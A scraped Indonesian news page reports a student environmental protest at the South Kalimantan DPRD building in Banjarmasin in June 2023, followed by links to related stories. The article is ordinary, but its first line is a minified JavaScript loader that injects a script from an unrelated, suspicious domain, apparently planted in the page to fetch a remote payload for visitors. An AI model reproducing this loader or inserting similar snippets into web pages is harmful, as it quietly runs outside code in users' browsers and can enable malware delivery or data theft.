(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Aksi saling dorong antara massa dan polisi terjadi saat unjuk rasa mahasiswa di depan gedung DPRD Kalsel jalan Lambung Mangkurat, Kota Banjarmasin, Senin (12/6/2023) siang.
Puluhan mahasiswa memaksa masuk ke Rumah Banjar -sebutan gedung DPRD Kalsel- karena telah lama menunggu di jalan tidak kunjung ditemui anggota DPRD Kalsel.
Mereka kecewa setelah mendapatkan informasi jika pimpinan dan seluruh anggota DPRD Kalsel ternyata tidak berada di kantor karena sedang melakukan kegiatan reses ke daerah pemilihan.
Aksi saling dorong menyebabkan sejumlah petugas kemanan dan mahasiswa ada yang terjatuh. Beruntung tidak ada korban luka pada aksi yang sempat memanas tersebut.
Baca juga: Pipa PAM Banjarmasin Bocor di Depan Masjid Sabilal Muhtadin
Sebelumnya gabungan BEM dari Universitas Lambung Mangkurat (ULM), Universitas Islam Negara (UIN) Antasari Banjarmasin, Universitas Islam Kalimantan Muhammad Arsyad Al Banjari Banjarmasin, serta beberapa kampus lainnya menggelar aksi unjuk rasa dalam rangka peringatan Hari Lingkungan Hidup Sedunia.
Beberapa isu yang dibawa mahasiswa antara lain terkait tambang batubara ilegal yang terjadi di Kalsel, banjir di beberapa daerah akibat kerusakan ekologis.
Lalu mereka juga menyoroti kerusakan infrastruktur akibat aktivitas tambang, yaitu jalan nasional kilometer 171 Satui, Kabupaten Tanah Bumbu, Kalsel yang mengalami tiga kali longsor sejak tanggal 28 September 2022 lalu.
Delapan bulan berlalu, akses jalan Kalsel-Kaltim tersebut belum juga dilakukan perbaikan, bahkan tidak ada kejelasan dari pemerintah maupun pihak terkait kapan jalan longsor yang diapit tambang tersebut akan kembali mulus seperti semula.
Baca juga : 75 Orang Ikuti Audisi Naga Kabupaten Banjar
Mereka meminta jalan tersebut segera diperbaiki tanpa saling menanyakan atau lempar tanggung jawab antara pemerintah dan pihak penambang.
“Saya tidak peduli siapa yang bertanggung jawab, yang saya mau itu (jalan) mulus seperti semula,” ucap M Iqbal Hambali mahasiswa yang orasi di depan gedung DPRD Kalsel.
Disela aksi, massa mahasiswa juga melakukan shalat Zuhur berjamaah di tengah jalan Lambung Mangkurat depan gedung DPRD Kalsel.
Hal yang sama juga dilakukan oleh petugas pengamanan dari Polresta Banjarmasin yang menggelar shalat berjemaah dengan diimami oleh Kapolresta Banjarmasin Kombes Pol Sabana Atmojo. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.